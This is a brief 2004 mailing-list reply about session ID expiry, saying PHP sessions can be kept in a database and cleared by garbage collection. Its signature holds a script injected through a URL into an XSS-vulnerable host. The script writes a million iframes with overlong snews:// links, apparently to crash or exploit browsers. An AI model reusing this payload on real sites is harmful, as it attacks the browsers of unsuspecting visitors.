Re: session id abuse

[hans <hans () e35203 upc-e chello nl>]

On Fri, 13 Feb 2004, Johnny GoLightly wrote:

> User requires access to a web application for a long period of time with inactivity. Therefore assume that sessionID 
> never expires.

Sessions can be expired. When, for example, you use php you could set
the session handler to store the info in a database server. With the
garbage collecter you would be able to delete this information.

If you are not deleting it it would only be readable for the session
owner.

Hans
-- 
begin  http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
        document.write("\<iframe
        src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + i +
        "\"\>\<\/iframe>"); } document.refresh; </script>